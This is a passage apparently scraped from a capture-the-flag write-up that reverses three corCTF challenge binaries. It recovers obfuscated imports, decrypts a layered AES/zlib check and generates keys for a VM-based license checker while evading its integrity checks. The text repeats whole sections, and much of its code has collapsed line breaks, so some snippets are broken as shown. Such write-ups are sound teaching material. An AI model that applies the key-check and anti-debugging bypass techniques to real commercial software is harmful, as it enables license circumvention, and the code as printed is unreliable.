# from @0x2020data = bytes.fromhex("4cef34fad125454be7ad99c4b1d7f62c5bf313bfcc031d1681db5038a8b6dd20902a6ea2effe6b8fdb806f7074eb7d36e4dc87f320ebe50f3e283558ad07d23dd85d41355e4f419b9185e15c18b8f65adf08353104d2e04464fc06c6d65b98204f1c1eb820d59eda81d6365b5560a82cf2da5792c9e014f0434b2e11d37067a855087dc7764f77e8bef3190484b2a020dc4cd2c894179b754f783535e662742d0ca834f190a9fd59d4f824b93b94bd79c778b956c1e3b62e173a32f94e47f909c4e8fa49536a0bb9360b2b5cc9f33963b3d1ac706cf14642bc0b913a649577ec240164d298e1bf3817d4d03916131d34a41afa335f8821d55c4ebf339de12acc4715039da685362d6d31013d9508dc72d3f6f765b7c0955df4c9a7fadcef5136c11de608eb8aec5dc95a3dd39aa6ad2899248892402dab1259f88447b2b948f78f1e3264ba24d23df3c484bdd2e10107a17618451e549193116e41547e40e702")
# from @0x2180key = bytes.fromhex("d4f5d967152f777f6c7c4673f6f092f077503b300c878a0d9c1d72a26546c8dc")# from @0x40d0iv = bytes.fromhex("00000000000000000000000000000000")
for i in range(0x14): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(data) decompressed = zlib.decompress(decrypted, bufsize=0x70) data = decompressed print(len(decrypted), len(decompressed), data)```
Giving us the flag: `corctf{why_w0u1d_4ny0n3_us3_m3mfr0b??}`
# turbocrab
Description: blazinglyer faster Turbocrab is a Rust binary with symbols that assembles code at runtime and then executes it to take input and verify it.
## Solution
Looking into the binary and following the functions by how they are named `turbocrab::execute_shellcode::h6984ce5848b31780` shows that some code is assembled and then a dynamically created function is exected.

This is the shellcode the binary is executing, it is always the same so breakpointing there and dumping it is a good idea.

A quick look into the binary shows that it decompiles absolutely horrible. Luckily we don't need to do that.The shellcode is relatively small so by scrolling through it you can find:

This is the only comparison done on memory content (or at least the only one that is easily spotable).A bit of trying around shows that characters are transformed independent of each other and each character is always transformed the same way.By setting a breakpoint there, trying different inputs and then dumping the transformed output we can build a table to reverse the compare buffer:

The addresses in the binary of the screenshot are a bit more static because I made a standalone binary out of the extracted shellcode. This is not necessary for solving it but made it easier to analyze and test.
```python# compare values from binary in turbocrab::execute_shellcode::h6984ce5848b31780arr = [0x52,0x5e,0x43,0x52,0x49,0x57,0x4a,0x4d,0x3c,0x36,0x2e,0x5b,0x35,0x49,0x2e,0x47,0x60,0x2e,0x43,0x33,0x47,0x33,0x43,0x42,0x35,0x5f,0x56,0x3f,0x50]
# hook comparison, dump compares, solves"""7ffff7ffb1fc 418a00 mov al, byte [r8]7ffff7ffb1ff 4889c3 mov rbx, rax7ffff7ffb202 418a01 mov al, byte [r9]7ffff7ffb205 48b9020000000000…mov rcx, 0x27ffff7ffb20f 4839c3 cmp rbx, rax7ffff7ffb212 7409 je 0x7ffff7ffb21d"""
# dumped input -> encoded pairskeys = ""values = []
keys += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"values += [0x34,0x33,0x32,0x39,0x38,0x37,0x36,0x3d,0x3c,0x3b,0x3a,0x41,0x40,0x3f,0x3e,0x25,0x24,0x23,0x22,0x29,0x28,0x27,0x26,0x2d,0x2c,0x2b]
keys += "abcdefghijklmnopqrstuvwxyz"values += [0x54,0x53,0x52,0x59,0x58,0x57,0x56,0x5d,0x5c,0x5b,0x5a,0x61,0x60,0x5f,0x5e,0x45,0x44,0x43,0x42,0x49,0x48,0x47,0x46,0x4d,0x4c,0x4b]
keys += "_-{}"values += [0x2e,0x20,0x4a,0x50]
keys += "0123456789"values += [0x34,0x35,0x32,0x33,0x38,0x39,0x36,0x37,0x3c,0x3d]
keys += "!? =()[]/&%$# +-.:,;<>|~*'"values += [0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
#keys += "@!? =()[]/&%$# +-.:,;<>|~*'"#values += [0x35, 0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
cMap = {}for i in range(len(values)): cMap[values[i]] = keys[i] print(''.join([cMap[v] for v in arr]))```
Notable here is that the encoded output is not unique in relation to the input, but only one flag was accepted, so some trying/bruteforcing around with the collisions may be needed to get the the most reasonable looking flag: `corctf{x86_j1t_vm_r3v3rs1ng?}` |
# vmquacks_revenge
Description: A duck at your local pond snitched on your quacking abilities with the formidable Snowman decompiler to the anti-quack police force! They have revamped their entire architecture, rebuilt their tooling infrastructure, and are seeking vengeance for the previous quacking incidents. Can you quack their latest license key checker to prove your quacking prowess?
vmquacks_revenge is a Linux binary that runs a virtual machine which takes in a serial number and verifies it. It has anti-tempering within the binary and VM code and the general VM program is decently complex.
## Solution
### Looking at the main virtual machine loop and analyzing it

My teammate Aaron did most the virtual machine reversing, and generally the machine implemented is nothing special so a quick overview of our understanding:
- There are 54 instructions- Registers and memory accesses are 64 bit unless specified otherwise by the instruction- Register 0 is a "zero" register that always holds 0- Register 1 is a link register and contains the last return address- Register 2 is the stack pointer- Register 3 is the frame pointer (like in x86)- Register 4 is a static pointer to global external memory (the .quack_quack_quack section of the binary with an offset of 0x10)- Registers 5-11 are arguments to functions (Register 5 also being the returned value)- The VM itself and the VM code contain self integrity checks- Some VM code / used variables are encrypted and need to be dumped at runtime after decryption (or decrypted using the same key)- The vm can do syscalls and call functions from the main program; so we need to be careful when running it (Luckily there wasn't too much trickery with this)
Besides that, this is a standard custom virtual machine without any gimmicks.
To properly debug this programs hardware breakpoints help a lot, e.g.: `watch * 0x1337110` lets us wait until the random state is updates and virtual machine execution has properly begun.To get the VM code and some more data, dump the `.quack_quack_quack` section.
Later for trouble shooting I often verified what the VM is doing by ```rwatch * ((0x1337000)+<VM_ADDRESS>)rAAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111db * HANDLER_ADDRESS_OF_THE_OPERATION_AT_VM_ADDRESScd```
Another way which is a bit slower due to the nature of conditional breakpoints would be to do:
```break *0x402FB7 if *(long long*)(*(long long*)($rbp-0x38)+0x100) == 0x1339A09```
Which will break in the store dword function if we're at a certain instruction.(Don't try to break in the main loop, it will slow down the program significantly).
This way I was able to inspect the virtual machine state and exact operations without tripping any of the anti-debugging / self integrity checks.
### Instructions
Every instruction is 5 bytes long, the first being the opcode (Everything outside the range of 0 to 0x36 is considered invalid and makes the vm stop executing). After a bit of reversing it was pretty clear how the vm struct is allocated and which registers get set to which values. For example the value at offset 0x100 contains a pointer to the currently executing instruction. If any instruction would've used register 32 it would've overwritten that pointer leading to code redirection.
We also mmap a stack and put the address to it into r2, and a static pointer to the vm data into r4.
By analizing the implementation of the instructions we can further deduce the layout of the registers (For example a link register where the current code pointer is stored into when calling a function, which is r1).
And apart from there being a bunch of arithmetic operations (and everything signed and unsigned), the jump and call instructions, memory load and store operations (signed, unsigned for all sizes of ints), and the compare instructions (again signed unsigned), there was also opcodes 0x35 and 0x36 which call `syscall` and functions from a predefined table respectively.
### Analyzing the VM
My actual work started after Aaron gave me a virtual machine dump and a disassembler for it. Based on the disassembler I wrote a Binary Ninja plugin that does both disassembly and lifting.And after lots of troubleshooting (there are probably lots of lifting errors still in it, especially regarding to casting) - it worked and we now were properly able to inspect the virtual machine code.

The program reads up to 0x80 characters from stdin and then inverts their order. It allocates 8 arrays that are used to store the transformed input in if it matches the required format.If it matches then, after some integrity checks, the transformed input is verified and either accepted or rejected.

As a failsafe, if somehow a wrong key is validated, there is also hashing logic (which is also used to decrypt the flag from the right key), but we didn't find any colliding correct input, so this is luckily nothing for us to worry about.

The input format function mostly just verifies that our input has a format like "AAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111" where groups of 8 characters will be separated by a `-` and the remaining characters are `a-zA-Z0-9`.Interesting is the block of code that runs what we named "weirdify" on the input and then stores it in global memory.

The "weirdify" function has a lot of annoying logic to it and especially the random number part of it makes it troublesome to deal with.Luckily the actual random number generation is pretty simple and we can dump the random seed / starting value from the vm binary at address `0x1337110` (it is 0x1337babe).
```0000000006b04 pseudoRandomNumber = (sx.o(zx.q(pseudoRandomNumber)) * sx.o(0x343fd)).d - 0x613d0000000006b27 return zx.q(pseudoRandomNumber)```
This was actually a pretty good test of the decompilation, because I was able to copy-paste the pseudo C of weirdify into actual C code and brutefroce the character to value table without any modifications.Taking the allowed charset into account I simplified it to:
```python# This is the main calculation part of the weridify functiondef weirdifyPre(arg1): if(arg1 >= ord('0') and arg1 <= ord('9')): return arg1-ord('0')+0x01 if(arg1 >= ord('A') and arg1 <= ord('Z')): return arg1-ord('A')+0x0B if(arg1 >= ord('a') and arg1 <= ord('z')): return arg1-ord('a')+0x25 print("Not supported character "+hex(arg1)) # the weirdify functiondef weirdify(value, rngSeed, iteration): v = weirdifyPre(value) # this is a pseudo random number generator for i in range(iteration): rngSeed = signOffset(((rngSeed * 0x343fd)- 0x613d), 32) # which applies a "random" value to weirdify the output return (((v + 0xd) + (rngSeed&0xff)) % 0x3e) + 1;```

The verify code looks a bit scary when first looking at it and getting everything right (the lifter, analysis and re-implementation) took a lot of hours.The program iterating over our 8 key blocks that have been separated and "weirdified" into 8 matrices.
It then multiplies a global 8x8 matrix by the selected 8x1 matrix. The global matrix is stored encrypted in memory and needs to be dumped AFTER it is decrypted (e.g. by breaking at one of the instructions in this function; Aaron certainly never dumped the encrypted one).The outgoing matrix is then used to calculate the value `intArray[i2] = (mulM[0] + 0x5c) / (curM[0] * 100000000)`. This value needs to be positive and is later used to verify that the key blocks are sorted in ascending `intArray` value order.
Then for all values of the current matrix the following constraint has to hold:
`abs(intArray[i2] * (curM[i] * 100000000) - mulM[i]) < 0x5c`
which (when focusing on positive values) can be rewritten as
`intArray[i2] * (curM[i] * 100000000) < (0x5c + mulM[i])`
by pulling the `mulM[i]` to the right. Then we transform it further into
`(mulM[0] + 0x5c) / (curM[0] * 100000000) * (curM[i] * 100000000) < (0x5c + mulM[i])`
by plugging in the value of `intArray[i2]`. And finally we can pull the term with `curM[i]` to the right:
`(mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
Similarily we can do the same thing for negative numbers:
`intArray[i2] * (curM[i] * 100000000) - mulM[i] > -0x5c`
will turn into
`intArray[i2] * (curM[i] * 100000000) > mulM[i] - 0x5c`
and by the same logic as above we obtain
`(mulM[0] + 0x5c) / (curM[0] * 100000000) > (mulM[i] - 0x5c) / (curM[i] * 100000000)`
which means we get
`(mulM[i] - 0x5c) / (curM[i] * 100000000) < (mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
So the ratio of output and input can only deviate in a certain range.
The working python reimplementation looks like this:
```python# Check whether an input is a key candidate and return the intArray/r value to order it properlydef runCheck(vec): # Decrypted matrix dumped at runtime from the binary at address 0x1337208 (they have to be decrypted) m = [ [0xffffffffede5dafe,0xfffffffff5f743dd,0x00000000067b8bda,0x0000000017ff1621,0xffffffffe760a0d9,0x0000000010125448,0x000000000d7e1113,0x0000000008000969], [0xffffffffeb0a3540,0xffffffffc88f3a85,0x000000000257f745,0x0000000009c7fd78,0xfffffffffe19c100,0x0000000012267980,0x000000000c8505f6,0x0000000010f9c0b7], [0xffffffffd9df8aaa,0xffffffff04d141e9,0x0000000021f324fc,0x0000000019648e56,0x00000000055412ed,0x000000002d5b225c,0x000000001a2343fa,0x000000002dd83916], [0xffffffffe5a0af81,0xffffffff5cc74a0f,0x0000000008962a72,0x00000000287392d5,0x0000000000315867,0x0000000016f6d77f,0x0000000014fde34c,0x0000000020dc2c52], [0xffffffffdafbdc02,0xfffffffed5a8296b,0x000000000cd46b7c,0x0000000014a3b1ca,0x000000002805c014,0x000000002efa4dc8,0x00000000158fd422,0x00000000396d3f69], [0xffffffffcb6b92d2,0x000000000314edfd,0xfffffffffe6a83a7,0x000000000e96bbe0,0xffffffffe7df78e9,0x00000000320c4adb,0x0000000012e0feae,0x000000000f42b54d], [0xffffffffc8ebcae5,0xffffffffa166c5b8,0x0000000002317c38,0x000000001bc27472,0xffffffffecd4fb9e,0x000000001e294aef,0x0000000039380937,0x00000000179b36a2], [0xffffffffd300432f,0xffffffff2d0c1e3c,0x00000000069f76d9,0x0000000017d259ce,0x0000000000d02195,0x000000002bd9cf95,0x000000001b70eed3,0x00000000426dc286] ] m2 = [ [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8]
# Transpose for i in range(8): for j in range(8): m2[i][j] = signOffset(m[j][i], 64) m = m2
# At first it does matrix multiplication res = mult(m, vec)
# then it calculates an intArray value which is later used for ordering the parts r = signOffset((res[0] + 92) // (vec[0] * 100000000), 32) # reject negative values if(r <= 0): return None
# check that for each vector the following property holds # To solve this we try scalars of the left eigenvectors as they # fulfill some ratio property this is verifying. # tbh no clue I'm not big brain enough for this math stuff I only rev for i in range(8): tmp = r * (vec[i] * 100000000) - res[i] r23 = (tmp >> 0x1f) x = (r23^tmp) - r23 # values above 0x5c are rejected if x > 0x5c: return None # whooo we have a key candidate return (vec, r)```
### Solving
Ok, so now we know how the VM works, how the key has to look like and how it is verified.This was a part were we where stuck on for quite a while as we knew how everything works but didn't know how to generate something that fulfills the requirements.We worked a lot of hours on refining z3 scripts, bruteforcing and debugging our reimplementations for mistakes, until at some point my teammate Aaron saved the day (like usual) and figured out that using a (near) intger multiple of the eigenvectors of the global matrix fulfills the requirements.I have to admit that I don't really get why they do, or how he came to the conclusion but it works.
In practice this means we open up sage and give it the sign extended decrypted global matrix:
```python"""M = m = Matrix([[-303703298, -168344611, 108760026, 402593313, -413097767, 269636680, 226365715, 134220137], [-351652544, -930137467, 39319365, 164101496, -31866624, 304511360, 210044406, 284803255], [-639661398, -4214144535, 569582844, 426020438, 89395949, 760947292, 438518778, 769145110], [-442454143, -2738402801, 144058994, 678662869, 3233895, 385275775, 352183116, 551300178], [-621028350, -5005366933, 215247740, 346272202, 671465492, 788155848, 361747490, 963460969], [-882142510, 51703293, -26573913, 244759520, -404784919, 839666395, 316735150, 256030029], [-924071195, -1587100232, 36797496, 465728626, -321586274, 506022639, 959973687, 396048034], [-754957521, -3539198404, 111113945, 399661518, 13640085, 735694741, 460386003, 1114489478]])M = M.transpose() M.eigenvectors_left()```
Then put those into a small script to try their multiple on the check:
```python# Calculate possible key candidates from the eigenvectorsdef solutionsFromEigenvectors(): # matrix taken from sage eigvectors = [(9.99999983497936e7, [(1, 0.169491520858711, 0.084745751546947, 0.2881355875831414, 0.288135581541381, 0.847457626194665, 0.711864401602224, 0.2711864305805604)], 1), (2.000000038798546e8, [(1, 0.952381012280966, 2.52380974358845, 1.238095290338078, 2.38095253294195, 0.714285692436905, 1.71428579754716, 2.190476355812853)], 1), (3.000000002486778e8, [(1, 0.56249999554731, 0.6562499830366, 1.781250008071057, 1.78124998926551, 1.25000000457964, 0.93749998508704, 0.718749983851072)], 1), (3.999999995713364e8, [(1, 2.24999981996979, 13.4999990261208, 0.249999948696195, 8.2499992358664, 4.49999968632836, 7.2499994613724, 0.499999967815939)], 1), (4.999999990500059e8, [(1, 0.34693878212022, 1.1020408347751, 0.59183675570741, 0.1428571707193, 1.0204081565988, 0.7755102140302, 0.83673471316265)], 1), (5.999999984377138e8, [(1, 0.6896552117266, 2.034482866964, 1.96551735699380, 1.9310346670275, 0.3793103236556, 2.0000000738185, 1.86206907715878)], 1), (6.99999998618207e8, [(1, 1.5833334555942, 3.500000285201, 1.75000013943522, 4.333333783508, 3.4166668726864, 2.333333445203, 3.91666698372095)], 1), (8.00000001844412e8, [(1, 0.6000000012274, 0.899999994546, 0.4333333263700, 0.333333323750, 2.0000000104400, 1.633333338514, 1.19999999876425)], 1)]
solutions = [] for eigvec in eigvectors: row = list(*eigvec[1]) # iterate for some multipliers for i in range(1, int(128/max(row))): floatVersion = [v*i for v in row] intVersion = [round(r) for r in floatVersion] # check if key candidate checkRes = runCheck(intVersion) if checkRes != None: solutions.append(checkRes) return solutions```
From this we get 8 key candidates `[([59, 10, 5, 17, 17, 50, 42, 16], 1), ([21, 20, 53, 26, 50, 15, 36, 46], 2), ([32, 18, 21, 57, 57, 40, 30, 23], 3), ([4, 9, 54, 1, 33, 18, 29, 2], 4), ([8, 18, 108, 2, 66, 36, 58, 4], 4), ([49, 17, 54, 29, 7, 50, 38, 41], 5), ([29, 20, 59, 57, 56, 11, 58, 54], 6), ([12, 19, 42, 21, 52, 41, 28, 47], 7), ([30, 18, 27, 13, 10, 60, 49, 36], 8)]`.
Now if we use the "weirdify" algorithm we reversed earlier, make a reverse lookup table out of it and use that to reconstruct a key (see the vmquacks_revenge.py script for details), we get the solution:

# msfrob
Description: 6b0a444558474b460a5a58454d584b470a5f5943444d0a444558474b460a4d464348490a4c5f44495e4345445904
msfrob is a linux binary that obfuscates all its imports
## Solution
The program takes in one command line argument and then verifies it.Looking at it in Binary Ninja shows that all imported functions show up as `msfrob`.

We can easily manually figure out which `msfrob` calls which function, by settings breakpoint before the call, then setting a breakpoint at `_dl_lookup_symbol_x` and looking at the arguments passed to it.One of the registers will contain a pointer to the original import name.
That way we can recover the original imports:

What the program is doing is, it is taking the input and compressing it with deflate and encrypting it with AES 20 times. Then it is comparing the output against a fixed buffer.By dumping the buffer, key and iv we can easily inverse this process:
```pythonfrom Crypto import Randomfrom Crypto.Cipher import AESimport zlib
# from @0x2020data = bytes.fromhex("4cef34fad125454be7ad99c4b1d7f62c5bf313bfcc031d1681db5038a8b6dd20902a6ea2effe6b8fdb806f7074eb7d36e4dc87f320ebe50f3e283558ad07d23dd85d41355e4f419b9185e15c18b8f65adf08353104d2e04464fc06c6d65b98204f1c1eb820d59eda81d6365b5560a82cf2da5792c9e014f0434b2e11d37067a855087dc7764f77e8bef3190484b2a020dc4cd2c894179b754f783535e662742d0ca834f190a9fd59d4f824b93b94bd79c778b956c1e3b62e173a32f94e47f909c4e8fa49536a0bb9360b2b5cc9f33963b3d1ac706cf14642bc0b913a649577ec240164d298e1bf3817d4d03916131d34a41afa335f8821d55c4ebf339de12acc4715039da685362d6d31013d9508dc72d3f6f765b7c0955df4c9a7fadcef5136c11de608eb8aec5dc95a3dd39aa6ad2899248892402dab1259f88447b2b948f78f1e3264ba24d23df3c484bdd2e10107a17618451e549193116e41547e40e702")
# from @0x2180key = bytes.fromhex("d4f5d967152f777f6c7c4673f6f092f077503b300c878a0d9c1d72a26546c8dc")# from @0x40d0iv = bytes.fromhex("00000000000000000000000000000000")
for i in range(0x14): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(data) decompressed = zlib.decompress(decrypted, bufsize=0x70) data = decompressed print(len(decrypted), len(decompressed), data)```
Giving us the flag: `corctf{why_w0u1d_4ny0n3_us3_m3mfr0b??}`
# turbocrab
Description: blazinglyer faster Turbocrab is a Rust binary with symbols that assembles code at runtime and then executes it to take input and verify it.
## Solution
Looking into the binary and following the functions by how they are named `turbocrab::execute_shellcode::h6984ce5848b31780` shows that some code is assembled and then a dynamically created function is exected.

This is the shellcode the binary is executing, it is always the same so breakpointing there and dumping it is a good idea.

A quick look into the binary shows that it decompiles absolutely horrible. Luckily we don't need to do that.The shellcode is relatively small so by scrolling through it you can find:

This is the only comparison done on memory content (or at least the only one that is easily spotable).A bit of trying around shows that characters are transformed independent of each other and each character is always transformed the same way.By setting a breakpoint there, trying different inputs and then dumping the transformed output we can build a table to reverse the compare buffer:

The addresses in the binary of the screenshot are a bit more static because I made a standalone binary out of the extracted shellcode. This is not necessary for solving it but made it easier to analyze and test.
```python# compare values from binary in turbocrab::execute_shellcode::h6984ce5848b31780arr = [0x52,0x5e,0x43,0x52,0x49,0x57,0x4a,0x4d,0x3c,0x36,0x2e,0x5b,0x35,0x49,0x2e,0x47,0x60,0x2e,0x43,0x33,0x47,0x33,0x43,0x42,0x35,0x5f,0x56,0x3f,0x50]
# hook comparison, dump compares, solves"""7ffff7ffb1fc 418a00 mov al, byte [r8]7ffff7ffb1ff 4889c3 mov rbx, rax7ffff7ffb202 418a01 mov al, byte [r9]7ffff7ffb205 48b9020000000000…mov rcx, 0x27ffff7ffb20f 4839c3 cmp rbx, rax7ffff7ffb212 7409 je 0x7ffff7ffb21d"""
# dumped input -> encoded pairskeys = ""values = []
keys += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"values += [0x34,0x33,0x32,0x39,0x38,0x37,0x36,0x3d,0x3c,0x3b,0x3a,0x41,0x40,0x3f,0x3e,0x25,0x24,0x23,0x22,0x29,0x28,0x27,0x26,0x2d,0x2c,0x2b]
keys += "abcdefghijklmnopqrstuvwxyz"values += [0x54,0x53,0x52,0x59,0x58,0x57,0x56,0x5d,0x5c,0x5b,0x5a,0x61,0x60,0x5f,0x5e,0x45,0x44,0x43,0x42,0x49,0x48,0x47,0x46,0x4d,0x4c,0x4b]
keys += "_-{}"values += [0x2e,0x20,0x4a,0x50]
keys += "0123456789"values += [0x34,0x35,0x32,0x33,0x38,0x39,0x36,0x37,0x3c,0x3d]
keys += "!? =()[]/&%$# +-.:,;<>|~*'"values += [0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
#keys += "@!? =()[]/&%$# +-.:,;<>|~*'"#values += [0x35, 0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
cMap = {}for i in range(len(values)): cMap[values[i]] = keys[i] print(''.join([cMap[v] for v in arr]))```
Notable here is that the encoded output is not unique in relation to the input, but only one flag was accepted, so some trying/bruteforcing around with the collisions may be needed to get the the most reasonable looking flag: `corctf{x86_j1t_vm_r3v3rs1ng?}` |
# vmquacks_revenge
Description: A duck at your local pond snitched on your quacking abilities with the formidable Snowman decompiler to the anti-quack police force! They have revamped their entire architecture, rebuilt their tooling infrastructure, and are seeking vengeance for the previous quacking incidents. Can you quack their latest license key checker to prove your quacking prowess?
vmquacks_revenge is a Linux binary that runs a virtual machine which takes in a serial number and verifies it. It has anti-tempering within the binary and VM code and the general VM program is decently complex.
## Solution
### Looking at the main virtual machine loop and analyzing it

My teammate Aaron did most the virtual machine reversing, and generally the machine implemented is nothing special so a quick overview of our understanding:
- There are 54 instructions- Registers and memory accesses are 64 bit unless specified otherwise by the instruction- Register 0 is a "zero" register that always holds 0- Register 1 is a link register and contains the last return address- Register 2 is the stack pointer- Register 3 is the frame pointer (like in x86)- Register 4 is a static pointer to global external memory (the .quack_quack_quack section of the binary with an offset of 0x10)- Registers 5-11 are arguments to functions (Register 5 also being the returned value)- The VM itself and the VM code contain self integrity checks- Some VM code / used variables are encrypted and need to be dumped at runtime after decryption (or decrypted using the same key)- The vm can do syscalls and call functions from the main program; so we need to be careful when running it (Luckily there wasn't too much trickery with this)
Besides that, this is a standard custom virtual machine without any gimmicks.
To properly debug this programs hardware breakpoints help a lot, e.g.: `watch * 0x1337110` lets us wait until the random state is updates and virtual machine execution has properly begun.To get the VM code and some more data, dump the `.quack_quack_quack` section.
Later for trouble shooting I often verified what the VM is doing by ```rwatch * ((0x1337000)+<VM_ADDRESS>)rAAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111db * HANDLER_ADDRESS_OF_THE_OPERATION_AT_VM_ADDRESScd```
Another way which is a bit slower due to the nature of conditional breakpoints would be to do:
```break *0x402FB7 if *(long long*)(*(long long*)($rbp-0x38)+0x100) == 0x1339A09```
Which will break in the store dword function if we're at a certain instruction.(Don't try to break in the main loop, it will slow down the program significantly).
This way I was able to inspect the virtual machine state and exact operations without tripping any of the anti-debugging / self integrity checks.
### Instructions
Every instruction is 5 bytes long, the first being the opcode (Everything outside the range of 0 to 0x36 is considered invalid and makes the vm stop executing). After a bit of reversing it was pretty clear how the vm struct is allocated and which registers get set to which values. For example the value at offset 0x100 contains a pointer to the currently executing instruction. If any instruction would've used register 32 it would've overwritten that pointer leading to code redirection.
We also mmap a stack and put the address to it into r2, and a static pointer to the vm data into r4.
By analizing the implementation of the instructions we can further deduce the layout of the registers (For example a link register where the current code pointer is stored into when calling a function, which is r1).
And apart from there being a bunch of arithmetic operations (and everything signed and unsigned), the jump and call instructions, memory load and store operations (signed, unsigned for all sizes of ints), and the compare instructions (again signed unsigned), there was also opcodes 0x35 and 0x36 which call `syscall` and functions from a predefined table respectively.
### Analyzing the VM
My actual work started after Aaron gave me a virtual machine dump and a disassembler for it. Based on the disassembler I wrote a Binary Ninja plugin that does both disassembly and lifting.And after lots of troubleshooting (there are probably lots of lifting errors still in it, especially regarding to casting) - it worked and we now were properly able to inspect the virtual machine code.

The program reads up to 0x80 characters from stdin and then inverts their order. It allocates 8 arrays that are used to store the transformed input in if it matches the required format.If it matches then, after some integrity checks, the transformed input is verified and either accepted or rejected.

As a failsafe, if somehow a wrong key is validated, there is also hashing logic (which is also used to decrypt the flag from the right key), but we didn't find any colliding correct input, so this is luckily nothing for us to worry about.

The input format function mostly just verifies that our input has a format like "AAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD-EEEEEEEE-FFFFFFFF-00000000-11111111" where groups of 8 characters will be separated by a `-` and the remaining characters are `a-zA-Z0-9`.Interesting is the block of code that runs what we named "weirdify" on the input and then stores it in global memory.

The "weirdify" function has a lot of annoying logic to it and especially the random number part of it makes it troublesome to deal with.Luckily the actual random number generation is pretty simple and we can dump the random seed / starting value from the vm binary at address `0x1337110` (it is 0x1337babe).
```0000000006b04 pseudoRandomNumber = (sx.o(zx.q(pseudoRandomNumber)) * sx.o(0x343fd)).d - 0x613d0000000006b27 return zx.q(pseudoRandomNumber)```
This was actually a pretty good test of the decompilation, because I was able to copy-paste the pseudo C of weirdify into actual C code and brutefroce the character to value table without any modifications.Taking the allowed charset into account I simplified it to:
```python# This is the main calculation part of the weridify functiondef weirdifyPre(arg1): if(arg1 >= ord('0') and arg1 <= ord('9')): return arg1-ord('0')+0x01 if(arg1 >= ord('A') and arg1 <= ord('Z')): return arg1-ord('A')+0x0B if(arg1 >= ord('a') and arg1 <= ord('z')): return arg1-ord('a')+0x25 print("Not supported character "+hex(arg1)) # the weirdify functiondef weirdify(value, rngSeed, iteration): v = weirdifyPre(value) # this is a pseudo random number generator for i in range(iteration): rngSeed = signOffset(((rngSeed * 0x343fd)- 0x613d), 32) # which applies a "random" value to weirdify the output return (((v + 0xd) + (rngSeed&0xff)) % 0x3e) + 1;```

The verify code looks a bit scary when first looking at it and getting everything right (the lifter, analysis and re-implementation) took a lot of hours.The program iterating over our 8 key blocks that have been separated and "weirdified" into 8 matrices.
It then multiplies a global 8x8 matrix by the selected 8x1 matrix. The global matrix is stored encrypted in memory and needs to be dumped AFTER it is decrypted (e.g. by breaking at one of the instructions in this function; Aaron certainly never dumped the encrypted one).The outgoing matrix is then used to calculate the value `intArray[i2] = (mulM[0] + 0x5c) / (curM[0] * 100000000)`. This value needs to be positive and is later used to verify that the key blocks are sorted in ascending `intArray` value order.
Then for all values of the current matrix the following constraint has to hold:
`abs(intArray[i2] * (curM[i] * 100000000) - mulM[i]) < 0x5c`
which (when focusing on positive values) can be rewritten as
`intArray[i2] * (curM[i] * 100000000) < (0x5c + mulM[i])`
by pulling the `mulM[i]` to the right. Then we transform it further into
`(mulM[0] + 0x5c) / (curM[0] * 100000000) * (curM[i] * 100000000) < (0x5c + mulM[i])`
by plugging in the value of `intArray[i2]`. And finally we can pull the term with `curM[i]` to the right:
`(mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
Similarily we can do the same thing for negative numbers:
`intArray[i2] * (curM[i] * 100000000) - mulM[i] > -0x5c`
will turn into
`intArray[i2] * (curM[i] * 100000000) > mulM[i] - 0x5c`
and by the same logic as above we obtain
`(mulM[0] + 0x5c) / (curM[0] * 100000000) > (mulM[i] - 0x5c) / (curM[i] * 100000000)`
which means we get
`(mulM[i] - 0x5c) / (curM[i] * 100000000) < (mulM[0] + 0x5c) / (curM[0] * 100000000) < (0x5c + mulM[i]) / (curM[i] * 100000000)`
So the ratio of output and input can only deviate in a certain range.
The working python reimplementation looks like this:
